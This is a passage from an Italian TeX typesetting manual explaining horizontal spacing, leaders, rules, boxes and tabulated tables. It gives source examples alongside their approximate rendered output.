È possibile inserire degli spazi orizzontali ben definiti attraverso la parola di controllo '**`\hskip`**', a cui si assegna l'indicazione di una lunghezza elastica:

```
\hskip lunghezza_elastica
```

Come nel caso di '**`\vskip`**', l'indicazione di un'elasticità in estensione, consente in pratica di allargare lo spazio in modo indefinito.

L'esempio seguente mostra diversi casi di utilizzo di '**`\hskip`**', in una situazione in cui la riga che lo contiene viene allineata simultaneamente a sinistra e a destra:

```
\line{Riga allineata a \hskip 2cm sinistra e a destra.}
\line{Riga allineata a \hskip 2cm plus 1pt sinistra e a destra.}
\line{Riga allineata \hskip 2cm plus 1pt a sinistra \hfil e a destra.}
\line{Riga allineata \hskip 0pt plus 1fil a sinistra \hfil e a destra.}
\line{Riga allineata \hskip 0pt plus 2fil a sinistra \hfil e a destra.}
```

Riga allineata a sinistra e a destra.
Riga allineata a sinistra e a destra.
Riga allineata a sinistra e a destra.
Riga allineata a sinistra e a destra.
Riga allineata a sinistra e a destra.

Esiste un altro tipo di spazio orizzontale molto elastico, controllato dalla parola di controllo '**`\hss`**'. Si ottiene un risultato molto simile a '**`\hfil`**', con la differenza che in questo caso viene intesa esplicitamente anche un'elasticità in contrazione di livello equivalente.

Le parole di controllo '**`\hfil[l[l]]`**' e '**`\hss`**' corrispondono in pratica alle definizioni seguenti:

```
\hfil | \hskip 0pt plus 1fil
\hfill | \hskip 0pt plus 1fill
\hfilll | \hskip 0pt plus 1filll
\hss | \hskip 0pt plus 1fil minus 1fil
```

Esiste infine un gruppo di parole di controllo che consentono di inserire spazi orizzontali rigidi o poco elastici, corrispondenti all'elenco seguente:

- ```
  \enspace
  ```
  rappresenta uno spazio orizzontale rigido di mezzo quadratone;

- ```
  \enskip
  ```
  rappresenta uno spazio orizzontale leggermente elastico di mezzo quadratone;

- ```
  \quad
  ```
  rappresenta uno spazio orizzontale leggermente elastico di un quadratone;

- ```
  \qquad
  ```
  rappresenta uno spazio orizzontale leggermente elastico di due quadratoni;

- ```
  \thinspace
  ```
  in modalità orizzontale, introduce uno spazio rigido molto sottile, pari a un sesto di quadratone;

- ```
  \negthinspace
  ```
  in modalità orizzontale, introduce uno spazio negativo rigido molto sottile, pari a un sesto di quadratone.

Se si intende iniziare un paragrafo con un rientro prodotto da un'istruzione '**`\hskip`**', o altre che comunque producono uno spazio orizzontale determinato, occorre tenere presente la presenza del rientro definito da '**`\parindent`**'. In pratica, se si vuole iniziare un paragrafo con un rientro iniziale di due centimetri usando l'istruzione '**`\hskip 2cm`**', occorre fare in questo modo:

```
\noindent \hskip 2cm Bla bla bla...
```

Diversamente, il rientro finale risulterebbe aumentato del valore di '**`\parindent`**'.

Un'ultima cosa da considerare sono gli spazi orizzontali della stessa ampiezza di un certo carattere. Quando per qualche ragione si ha la necessità di incolonnare delle informazioni, soprattutto dati numerici, può essere utile la macro-istruzione '**`\phantom`**', la quale genera effettivamente lo spazio orizzontale equivalente al carattere indicato:

```
\phantom{x}
```

Anche se l'utilizzo più importante riguarda i numeri, viene proposto qualcosa di diverso, per consentire di verificare visivamente che lo spazio viene calcolato in modo corretto:

```
\font\prova=cmss12
\prova
Ciao ciao ciao ciao \par
\hskip 0pt\phantom{C}iao ciao c\phantom{i}ao ciao \par
```

Ciao ciao ciao ciao
 iao ciao c ao ciao

Come si vede, si utilizza un carattere senza grazie, in modo da poter verificare che l'inserzione dello spazio corrispondente a una lettera «i» viene fatta correttamente, così come è corretto lo spazio corrispondente alla lettera «C» maiuscola. L'istruzione iniziale '**\hskip 0pt**' serve a imporre che si tenga conto dello spazio iniziale, perché altrimenti verrebbe perduto nell'inizio del paragrafo.

61.13.2 Spazio rigido

Lo spazio rigido per definizione viene richiesto attraverso l'istruzione '**\kern**' che richiede semplicemente l'indicazione della distanza da compiere:

```
\kern lunghezza
```

Lo spazio in questione può essere orizzontale o verticale, in base al contesto. Pertanto, se ci si trova in modalità orizzontale, si ottiene uno spazio orizzontale; diversamente si ottiene uno spazio verticale. Per questo, quando si vuole scrivere una macro-istruzione con cui iniziare sicuramente la modalità orizzontale e inserire quindi uno spazio rigido, si usa spesso '**\leavevmode**' per questo scopo.

Lo spazio rigido viene usato a volte in modo negativo, per avvicinare delle lettere o altri simboli, garantendo che non avvenga la separazione della riga in quel punto. Infatti, gli spazi rigidi che si ottengono con '**\kern**' non sono separabili. L'esempio tipico di utilizzo di '**\kern**' per avvicinare le lettere è quello della macro-istruzione '**\TeX**', dichiarata nel modo seguente:

```
\def\TeX{T\kern -.1667em\lower .5ex\hbox {E}\kern -.125emX}
```

Come si vede, non c'è alcun bisogno di richiedere espressamente il passaggio alla modalità orizzontale, perché le istruzioni '**\kern**' appaiono dentro un testo che ha già fatto questo in ogni caso.

61.13.3 Linee guida

Per realizzare delle linee guida orizzontali, allo scopo di accompagnare la lettura verso qualcosa, si possono usare delle parole di controllo che contengono implicitamente un'elasticità in estensione molto elevata:

```
\hrulefill
```

```
\dotfill
```

```
\leftarrowfill | \rightarrowfill
```

Nel primo caso si ottiene una linea continua che unisce due parti di un testo separato; nel secondo si ottiene invece una guida fatta di puntini; nel terzo caso si genera una linea continua con una piccola freccia all'estremità sinistra o all'estremità destra.

Tuttavia, oltre a questi casi di guide abbastanza comuni, è possibile definire le proprie con una tra le istruzioni seguenti:

```
\leaders\hbox [to distanza] {espressione_guida} \hfill
```

```
\cleaders\hbox [to distanza] {espressione_guida} \hfill
```

```
\xleaders\hbox [to distanza] {espressione_guida} \hfill
```

La differenza tra le parole di controllo '**`\leaders`**', '**`\cleaders`**' e '**`\xleaders`**', sta nel fatto che la seconda dovrebbe centrare la linea guida, mentre l'ultima dovrebbe estenderla in modo da usare tutto lo spazio a disposizione. In pratica è difficile comprendere bene la differenza da un punto di vista visivo, per cui si utilizza in genere solo il primo tipo, salvo provare gli altri per verificare l'effetto finale che si può ottenere in alternativa.

Generalmente, nell'espressione che si utilizza per creare la guida si inseriscono parole di controllo per elasticizzare la distanza dei simboli utilizzati.

È importante sottolineare che TeX, dopo la parola di controllo '**`\[c|x]leader`**' vuole necessariamente una scatola '**`\hbox`**' e alla fine vuole uno spazio elastico di tipo '**`\hfil[l[l]]`**'. Nel modello sintattico non è stata mostrata la possibilità di usare diversi spazi orizzontali elastici, perché in pratica ci si limita sempre solo a usare '**`\hfill`**'.

Nel caso si utilizzi '**`\hbox`**' con l'indicazione della larghezza, l'effetto che si ottiene è quello di distanziare precisamente gli elementi simbolici che compongono la linea guida. In questo senso, l'elasticità che gli si attribuisce all'interno del raggruppamento, serve a collocarli correttamente nella scatola.

L'esempio seguente mostra diversi casi di utilizzo di queste linee guida messi a confronto. In particolare, si creano delle linee guida speciali, in cui si usa l'asterisco come simbolo ripetuto:

```
linea semplice: \hrulefill fine della linea \par
puntini: \dotfill fine dei puntini \par
linea con freccia a destra: \rightarrowfill fine della linea \par
linea con freccia a sinistra: \leftarrowfill fine della linea \par
asterischi normali: \leaders\hbox {*} \hfill fine degli asterischi \par
asterischi distanziati: \leaders\hbox to 1cm {\hss * \hss} \hfill
 fine degli asterischi \par
asterischi normali: \cleaders\hbox {*} \hfill fine degli asterischi \par
asterischi distanziati: \cleaders\hbox to 1cm {\hss * \hss} \hfill
 fine degli asterischi \par
asterischi normali: \xleaders\hbox {*} \hfill fine degli asterischi \par
asterischi distanziati: \xleaders\hbox to 1cm {\hss * \hss} \hfill
 fine degli asterischi \par
```

linea semplice: ____fine della linea
puntini: ....fine dei puntini
linea con freccia a destra: ————————————————————→fine della linea
linea con freccia a sinistra: ←————————————————————fine della linea
asterischi normali: **fine degli asterischi
asterischi distanziati: * * * * * * fine degli asterischi
asterischi normali: **fine degli asterischi
asterischi distanziati: * * * * * * fine degli asterischi
asterischi normali: **fine degli asterischi
asterischi distanziati: * * * * * * fine degli asterischi

Volendo creare una macro-istruzione per una linea guida particolare, si può procedere come nell'esempio seguente, in cui si riprende uno dei casi già presentati sopra:

```
\def\asterischi{\leaders\hbox to 1cm {\hss * \hss} \hfill}
```

61.13.4 Linee

TeX consente di tracciare delle linee orizzontali o verticali, attraverso le parole di controllo '**\hrule**' e '**\vrule**'. La sintassi per queste istruzioni può essere abbastanza articolata:

```
\hrule [width larghezza] [height altezza] [depth profondità]
```

```
\vrule [width larghezza] [height altezza] [depth profondità]
```

La differenza più importante tra le due parole di controllo sta nel fatto che '**\hrule**' introduce implicitamente una separazione di paragrafi, mentre '**\vrule**' no.

Quando '**\hrule**' viene usato senza argomenti, si ottiene una linea orizzontale, appoggiata sulla base della riga, spessa 0,4 punti e larga quanto lo spazio a disposizione per il testo, ovvero quanto definito da '**\hsize**'; nello stesso modo, '**\vrule**' senza argomenti genera una linea verticale, larga 0,4 punti, che parte dalla base della riga e si innalza per l'altezza massima del contesto in cui si trova. Si osservi l'esempio:

```
Prima di una linea orizzontale; \hrule{} dopo una linea orizzontale. \par
Prima di una linea verticale; \vrule{} dopo una linea verticale. \par
```

Prima di una linea orizzontale;
dopo una linea orizzontale.
Prima di una linea verticale; | dopo una linea verticale.

Quando si usano gli argomenti con cui si possono controllare le caratteristiche di queste linee, è meglio pensare a dei rettangoli, dove l'unica differenza che conta è il fatto che '**\hrule**' conclude un paragrafo. Seguono altri esempi a questo proposito:

```
Linea orizzontale lunga 10 cm e alta 1 punto: \hrule width 10cm height 1pt \par
Linea verticale alta 1 cm e larga 2 punti: \vrule height 1cm width 2pt \par
Rettangolino alto 5 mm e largo 3 mm: \vrule height 5mm width 3mm \par
Linea orizzontale nel testo: \vrule height 0pt depth 1pt width 10cm \par
```

Linea orizzontale lunga 10 cm e alta 1 punto:

Linea verticale alta 1 cm e larga 2 punti:

Rettangolino alto 5 mm e largo 3 mm:

Linea orizzontale nel testo:

61.14 Scatole

TeX tratta tutti gli oggetti da collocare nella composizione come tanti rettangoli, o scatole, di dimensione appropriata, distanziati in base a delle regole determinate. In questo senso, gli spazi che si inseriscono nel file sorgente, corrispondenti al carattere <*SP*>, comprese le tabulazioni orizzontali (il carattere <*HT*>), assieme alle righe vuote e a quelle bianche, sono solo la separazione logica delle istruzioni (intendendo anche il testo come istruzioni), pertanto non conta la loro quantità, essendo sufficiente che siano presenti dove serve.

Attraverso alcune parole di controllo è possibile creare della scatole di tipo orizzontale o verticale, per ottenere dei comportamenti particolari che vanno al di fuori della gestione normale dei paragrafi e delle righe.

Una scatola ha tre misure che ne definiscono la forma: una larghezza, un'altezza che parte dalla base della riga di riferimento e una profondità, che è rappresentata dall'altezza della scatola che si espande sotto la base di riferimento.

Figura 61.199. Dimensioni di una scatola.

Una scatola orizzontale è un rettangolo in cui si inserisce una sola riga di testo, dove l'altezza e la profondità dipendono dalle dimensioni del testo stesso. Una scatola verticale è invece un'area in cui il testo può scomporsi in più righe; inoltre, se la scatola viene inserita in una riga di testo, questa conclude il paragrafo.

Si utilizzano anche delle scatole vuote. Una scatola orizzontale vuota può servire per inserire un testo sporgente, a sinistra o a destra rispetto alla stessa; inoltre, può servire per imporre una certa altezza e profondità al testo della riga in cui viene inserita.

Una scatola orizzontale si definisce generalmente con la parola di controllo '**\hbox**' che può essere usata in due modi differenti:

```
\hbox {espressione_stringa}
```

```
\hbox to larghezza {espressione_stringa}
```

Nel primo caso si definisce una scatola orizzontale, contenente il testo che si ottiene dall'espansione dell'espressione racchiusa nel raggruppamento, larga quanto la giustezza del testo stesso; nel secondo caso, si impone la larghezza indicata.

È importante osservare che '**\hbox**' non è propriamente una macro e il suo argomento è precisamente un gruppo, per cui l'espressione contenuta è isolata dal testo successivo. Lo stesso dicasi per le parole di controllo che definiscono delle scatole verticale, descritte più avanti.

Esistono delle parole di controllo per la gestione delle scatole orizzontali vuote a vario titolo:

```
\llap {espressione}
```

```
\rlap {espressione}
```

```
\null
```

```
\strut
```

```
\mathstrut
```

Le parole di controllo '**\llap**' e '**\rlap**' definiscono un gruppo vuoto, in cui l'espressione del gruppo che viene indicato risulta sporgere rispettivamente a sinistra e a destra. I nomi usati per queste parole di controllo ricordano mnemonicamente i termini *left overlap* e *right overlap*. Tra le altre possibilità, queste istruzioni si prestano per consentire la sovrapposizione del testo; per esempio, si può sbarrare un lettera «o» con una barra obliqua inversa semplicemente così: '**o\llap{$\backslash$}**'.

La parola di controllo '**\null**' inserisce una scatola vuota equivalente all'istruzione '**\hbox{}**'; invece, '**\strut**' crea una scatola vuota alta e profonda quanto una parentesi tonda; nello stesso modo funziona la parola di controllo '**\mathstrut**' che invece si usa in modalità matematica.

Sempre in modalità matematica, si può usare '**\underline**' che sottolinea il testo contenuto nell'espressione:

```
\underline {espressione}
```

In questo caso, per fare in modo che la linea di sottolineatura sia sempre alla stessa altezza, si inserisce generalmente una scatola vuota generata da '**\mathstrut**'. L'esempio seguente riepiloga l'uso delle scatole orizzontali:

```
Paragrafo normale bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla \par
inizio paragrafo; \hbox {testo in scatola}; fine paragrafo. \par
inizio paragrafo; \hbox to 5cm {testo in scatola}; fine paragrafo. \par
inizio paragrafo; \hbox to 5cm {testo \hss in scatola}; fine paragrafo. \par
\line{Riga di testo normale allineata a sinistra e a destra.}
\line{\llap {a)} Bla bla bla \rlap {(b}}
$\underline {testo sottolineato}, g j p q y,
\underline {\mathstrut testo sottolineato con una linea pi\grave u bassa}$ \par
```

Paragrafo normale bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla

inizio paragrafo; testo in scatola; fine paragrafo.

inizio paragrafo; testo in scatola; fine paragrafo.

inizio paragrafo; testo in scatola; fine paragrafo.

Riga di testo normale allineata a sinistra e a destra.

a) Bla bla bla (b

$\underline{testo sottolineato}, gjpqy, \underline{\mathstrut testo sottolineato con una linea pi\grave u bassa}$

L'esempio dell'utilizzo più importante delle scatole orizzontali è dato dalla macro '**\line**' che è definita semplicemente così:

```
\def\line{\hbox to\hsize}
```

In pratica, quando si scrive '**\line{***testo***}**', non si sta indicando un argomento alla macro-istruzione, ma si ottiene solo la sostituzione di '**\line**' con '**\hbox to\hsize**', per cui alla fine si ottiene '**\hbox to\hsize {***testo***}**' complessivamente. In altri termini, la macro-istruzione '**\line**' è seguita da un gruppo che, come tale, isola il testo che racchiude.

Per la realizzazione di scatole verticali sono disponibili tre parole di controllo: '**\vbox**', '**\vtop**' e '**\vcenter**', dove l'ultima interviene solo in ambienti matematici.

\vbox {***espressione***} | \vbox to ***altezza*** {***espressione***}

\vtop {***espressione***} | \vtop to ***altezza*** {***espressione***}

\vcenter {***espressione***} | \vcenter to ***altezza*** {***espressione***}

I due modelli sintattici alternativi, '*******nome gruppo***' e '*******nome* to *altezza gruppo***', consentono di creare scatole alte quanto serve, in base al contenuto, oppure alte esattamente quanto richiesto.

La scatola che si ottiene con '**\vbox**', colloca la posizione inferiore al livello della riga da cui si parte; estendendosi verso l'alto; la scatola che si ottiene con '**\vtop**' si estende invece verso

il basso; infine, la scatola generata con '**`\vcenter`**' risulta centrata verticalmente rispetto alla posizione di partenza.

La larghezza di queste scatole è controllata dal valore restituito da '**`\hsize`**'; valore che può essere cambiato opportunamente al loro interno.

```
Paragrafo normale bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla \par
A: \vbox {\hsize=10cm Scatola verticale, larga 10 cm, che si espande
verso l'altro. bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla} \par
B: \vtop {\hsize=10cm Scatola verticale, larga 10 cm, che si espande
verso il basso. bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla} \par
C: $\vcenter {\hsize=10cm Scatola verticale, larga 10 cm, che si espande
verso l'altro e verso il basso. bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla}$ \par
D: \vbox to 3cm {\hsize=7cm Questa \'e una scatola rettangolare, larga
sette centimetri e alta tre centimetri. bla bla bla bla bla bla bla bla
bla bla bla bla bla bla} \par
Paragrafo normale bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla \par
```

Paragrafo normale bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla
Scatola verticale, larga 10 cm, che si espande verso l'altro.
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
A: bla bla bla bla bla bla bla bla bla bla bla bla
B: Scatola verticale, larga 10 cm, che si espande verso il basso.
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla
Scatola verticale, larga 10 cm, che si espande verso l'altro e
C: verso il basso. bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
Paragrafo normale bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla
Questa è una scatola rettangolare, larga
sette centimetri e alta tre centimetri. bla bla
bla bla bla bla bla bla bla bla bla bla bla bla

D:
Paragrafo normale bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla

L'esempio mostra quattro casi di scatole inserite in paragrafi di testo normale, dove ogni paragrafo inizia con una lettera alfabetica per dare un riferimento visivo alla collocazione della stessa. Si può osservare l'ultimo caso in cui si fissa anche la larghezza della scatola intervenendo nel valore a cui si accede con la parola di controllo '**`\hsize`**'.

Benché la parola di controllo '**`\vcenter`**' debba essere inserita in un ambiente matematico, il gruppo che controlla si trova in un ambiente normale.

61.14.1 Spostamento orizzontale delle scatole

Le due macro '**`\moveleft`**' e '**`\moveright`**', consentono di spostare orizzontalmente una scatola verticale od orizzontale che sia:

`\moveleft` ***lunghezza*** `\hbox{`***contenuto***`}` | `\vbox{`***contenuto***`}`

`\moveright` ***lunghezza*** `\hbox{`***contenuto***`}` | `\vbox{`***contenuto***`}`

Come si vede dal modello sintattico, si ottiene lo spostamento, rispettivamente, verso sinistra o verso destra, della lunghezza indicata. Si osservi l'esempio seguente:

```
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.\par
\moveright 3 cm \vbox{
\hsize=7cm
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.\par
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.\par
}\par
Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.\par
```

In pratica, dopo un paragrafo normale, viene richiesto un rientro di 3 cm per una scatola verticale contenente del testo, nella quale la giustezza è di soli 7 cm. Infine, un altro paragrafo normale permette di verificare che al di fuori della scatola, la giustezza torna quella di prima.

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla.

Bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla.

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Eventualmente, un piccolo spazio verticale può evitare che il testo che precede la scatola verticale si trovi a toccare il contenuto della stessa.

61.14.2 Scatole più complesse

Le scatole definite con '**\hbox**', '**\vbox**' e altre macro-istruzioni simili, possono essere inserite una dentro l'altra per formare degli effetti speciali, soprattutto se si abbina questo fatto all'uso delle linee orizzontali e verticali. Di solito ci si affida a macro-istruzioni già pronte, oppure a esempi documentati; comunque è utile cercare di comprendere cosa sta sotto. Viene proposto un esempio, attraverso il quale si crea una macro-istruzione che racchiude del testo dentro una scatola orizzontale bordata:

```
\def\scatola#1{%
    \leavevmode                                       % 5
    \hbox{%                                           % 4
        \vrule
        \vtop{%                                       % 3
            \vbox{%                                   % 2
                \hrule\kern 1pt
                \hbox{%
                    \kern 1pt \strut#1\kern 1pt       % 1
                }%
            }%
            \kern 1pt
            \hrule
        }%
        \vrule
    }
}
```

Questo esempio così articolato è tratto da *TeX made easy* di Daniel M. Zirin. Per riuscire a comprenderlo, occorre partire dal centro.

1. L'istruzione '**\kern 1pt \strut#1\kern 1pt**' inserisce il parametro della macro aggiungendo un punto di spazio a sinistra e a destra, garantendo di avere a disposizione lo spazio verticale necessario a scrivere qualunque lettera (che si espanda in alto e in basso, rispetto alla base).
2. Tutto questo è racchiuso in una scatola verticale che, prima disegna una linea orizzontale, quindi lascia un punto di spazio in verticale, infine inserisce l'istruzione precedente.
3. Il tutto è contenuto in un'altra scatola verticale che si espande verso il basso, dove alla fine si aggiunge un altro spazio verticale di un punto e un'altra linea orizzontale.
4. Ancora una volta, tutto è contenuto dentro un'altra scatola, questa volta orizzontale, che prima e dopo aggiunge due linee verticali.
5. Per sicurezza, la macro-istruzione inizia chiamando '**\leavevmode**' per garantire il passaggio alla modalità orizzontale.

Ecco come si comporta la macro-istruzione:

```
\scatola{Attenzione!} con le scatole ci si confonde facilmente.
```

Attenzione! con le scatole ci si confonde facilmente.

Si osservi che nella definizione della macro-istruzione '**\scatola**' sono stati inseriti molti commenti per consentire la suddivisione del codice su più righe, senza interferire con la composizione finale.

61.15 Tabelle

La gestione delle tabelle con TeX è piuttosto complessa. Nelle sezioni successive vengono mostrati soltanto i due tipi fondamentali di tabella di TeX; Si tenga presente che esistono altri modi di crearne, per esempio inserendo scatole dentro altre scatole, ma anche l'ambiente matematico dispone di un tipo di tabella che facilita la realizzazione di matrici.

61.15.1 Tabulazione

Le macchine da scrivere tradizionali disponevano di un sistema di stop di tabulazione, programmato di volta in volta, con il quale si potevano allineare i dati in colonne, formando così delle tabelle. Il sistema più semplice per creare tabelle con TeX è proprio quello che si rifà all'uso della macchina da scrivere, attraverso la definizione di stop di tabulazione che poi vengono richiamati quando desiderato. Si osservi l'esempio seguente:

```
\settabs 3 \columns

Testo normale, bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla

\+ nero & 0 & zero \cr
\+ marrone & 1 & uno \cr
\+ rosso & 2 & due \cr
\+ arancio & 3 & tre \cr
\+ giallo & 4 & quattro \cr
\+ verde & 5 & cinque \cr
\+ blu & 6 & sei \cr
\+ viola & 7 & sette \cr
\+ grigio & 8 & otto \cr
\+ bianco & 9 & nove \cr

Testo normale, bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla

\+ argento & 10 \% \cr
\+ oro & 5 \% \cr
\+ & 2 \% \cr
\+ & 1 \% \cr
```

L'istruzione '**\settabs 3 \columns**' definisce, da quel punto in poi, l'inserimento di due stop di tabulazione, dividendo la giustezza del testo in tre parti uguali. Dopo tale definizione, si può scrivere normalmente, come se nulla fosse cambiato, oppure si può fare riferimento esplicito alla tabulazione, iniziando e concludendo le righe con '**\+**' e con '**\cr**'. Nello spazio

tra queste due istruzioni, la e-commerciale (‘**&**’) ha il significato di carattere di tabulazione, con il quale si raggiunge lo stop successivo. Si può vedere il risultato della composizione dell’esempio nella figura successiva.

Testo normale, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla

nero	0	zero
marrone	1	uno
rosso	2	due
arancio	3	tre
giallo	4	quattro
verde	5	cinque
blu	6	sei
viola	7	sette
grigio	8	otto
bianco	9	nove

Testo normale, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla

argento	10 %
oro	5 %
	2 %
	1 %

Come si dovrebbe notare leggendo l’esempio, non è necessario usare tutte le colonne previste, così come è possibile saltare le colonne che non interessano. Quello che non si intuisce, invece, è la possibilità di fare riferimento a stop di tabulazione oltre alla quantità dichiarata inizialmente: in tal caso si raggiungono colonne successive che, ovviamente, vanno oltre la giustezza del testo.

L’istruzione del tipo ‘**\settabs *n* \columns**’ ha effetto a partire dal punto in cui viene utilizzata. Se si vuole cambiare tabulazione, basta inserire una nuova istruzione di questo tipo. Inoltre, è possibile usare anche i raggruppamenti per cambiare temporaneamente la tabulazione di una tabella; tutto funziona in modo molto intuitivo.

```
\settabs 3 \columns
\+ nero & 0 & zero \cr
\+ marrone & 1 & uno \cr
\+ rosso & 2 & due \cr
{\settabs 4 \columns
\+ arancio & 3 & tre \cr
\+ giallo & 4 & quattro \cr
\+ verde & 5 & cinque \cr
\+ blu & 6 & sei \cr
}
\+ viola & 7 & sette \cr
\+ grigio & 8 & otto \cr
\+ bianco & 9 & nove \cr
```

In questa variante semplificata dell’esempio già presentato, le righe dall’arancio al blu hanno una tabulazione più stretta, perché si divide la giustezza in quattro porzioni.

nero		0		zero
marrone		1		uno
rosso		2		due
arancio	3		tre	
giallo	4		quattro	
verde	5		cinque	
blu	6		sei	
viola		7		sette
grigio		8		otto
bianco		9		nove

Gli stop di tabulazione possono essere collocati in modo diverso, indicando una riga di esempio al posto della definizione pura e semplice della quantità di colonne che si vogliono ottenere. In pratica, si hanno a disposizione due istruzioni alternative:

```
\settabs n \columns
```

```
\settabs \+ colonna_1 [& colonna_n]... \cr
```

Viene riproposto l'esempio già visto, in forma ancora più breve, in cui viene inserito lo stesso modello usato per definire gli stop di tabulazione alla fine della tabella, per poter vedere effettivamente in che modo vengono misurati gli spazi:

```
\settabs \+ MMMMMMMMMMMM & MMMMM & MMMMMMM \cr
\+ nero & 0 & zero \cr
\+ marrone & 1 & uno \cr
\+ rosso & 2 & due \cr
\+ arancio & 3 & tre \cr
Il modello usato per gli stop \`e il seguente:
\+ MMMMMMMMMMMM & MMMMM & MMMMMMM \cr
```

nero	0	zero
marrone	1	uno
rosso	2	due
arancio	3	tre

Il modello usato per gli stop è il seguente:
MMMMMMMMMMMM MMMMM MMMMMMM

Naturalmente, il modello delle colonne può essere anche più simile al testo usato realmente nella tabella. In questo caso, con la lettera «M» maiuscola, si fa riferimento a un quadratone in modo semplice e chiaro.

Il testo che si inserisce all'interno di uno spazio che rappresenta una cella, esclusa l'ultima di ogni riga, è racchiuso implicitamente in un gruppo che si comporta come la macro '**`\leftline`**'. Questo fatto consente quindi di gestire gli allineamenti nell'ambito delle celle; inoltre, garantisce che il testo di ognuna di queste celle sia isolato in un gruppo autonomo.

```
\settabs
\+ MMMMMMMMMMMM & MMMMM         & MMMMMMM       & \cr
\+ \hrulefill   & \dotfill      & \hrulefill    & \cr
\+ \hfil Colore & \hfil Cifra   & \hfil Cifra   & \cr
```

```
\+ \hrulefill   & \dotfill      & \hrulefill    & \cr
\+ nero         & \hfill 0      & \hfil zero    & \cr
\+ marrone      & \hfill 1      & \hfil uno     & \cr
\+ \bf rosso    & \hfill 2      & \hfil due     & \cr
\+ arancio      & \hfill 3      & \hfil tre     & \cr
\+ \hrulefill   & \dotfill      & \hrulefill    & \cr
```

L'esempio mostra una tabella, in cui il sorgente è organizzato in modo da facilitarne la lettura. In particolare, il modello per gli stop di tabulazione è stato messo nella riga successiva a quella in cui appare '**`\settabs`**'; inoltre, c'è una cella finale in più che non viene usata. Infatti, dalle celle in cui il testo si comporta come se fosse usata la macro '**`\leftline`**' è esclusa l'ultima che precede l'istruzione '**`\cr`**'.

Colore	Cifra	Cifra
nero	0	zero
marrone	1	uno
rosso	2	due
arancio	3	tre

Bisogna ricordare che la macro '**`\leftline`**' include uno spazio leggermente elastico alla fine, corrispondente a '**`\hfil`**'. In tal modo, per centrare il testo in una cella, basta farlo precedere da un altro '**`\hfil`**', se invece si vuole ottenere l'allineamento a destra, si deve usare inizialmente uno spazio più elastico come '**`\hfill`**'.

Nell'esempio mostrato si riesce ad arrivare a una tabella abbastanza «dignitosa», con tanto di intestazione, delimitata da linee orizzontali. Naturalmente, si potrebbero usare linee dello stesso tipo, ma in questo caso si vuole mostrare bene lo spazio di competenza di ogni colonna. Al posto di '**`\hrulefill`**' o di '**`\dotfill`**' si può anche usare '**`\hrule`**', al di fuori delle celle, nel modo seguente:

```
\settabs
\+ MMMMMMMMMMMM & MMMMM         & MMMMMMM       & \cr
\hrule
\+ \hfil Colore & \hfil Cifra   & \hfil Cifra   & \cr
\hrule
\+ nero         & \hfill 0      & \hfil zero    & \cr
\+ marrone      & \hfill 1      & \hfil uno     & \cr
\+ \bf rosso    & \hfill 2      & \hfil due     & \cr
\+ arancio      & \hfill 3      & \hfil tre     & \cr
\hrule
```

Tuttavia, in tal caso si vede che le linee orizzontali che si ottengono toccano il testo delle righe della tabella:

Colore	Cifra	Cifra
nero	0	zero
marrone	1	uno
rosso	2	due
arancio	3	tre

Per risolvere il problema, può essere conveniente l'uso della macro '**`\strut`**', con cui si dà alle righe l'altezza e la profondità corrispondente a quella di una parentesi tonda, senza che questa appaia effettivamente nel testo:

```
\settabs
\+ MMMMMMMMMMMM         & MMMMM          & MMMMMMM       & \cr
\hrule
\+ \strut \hfil Colore  & \hfil Cifra    & \hfil Cifra   & \cr
\hrule
\+ \strut nero          & \hfill 0       & \hfil zero    & \cr
\+ \strut marrone       & \hfill 1       & \hfil uno     & \cr
\+ \strut \bf rosso     & \hfill 2       & \hfil due     & \cr
\+ \strut arancio       & \hfill 3       & \hfil tre     & \cr
\hrule
```

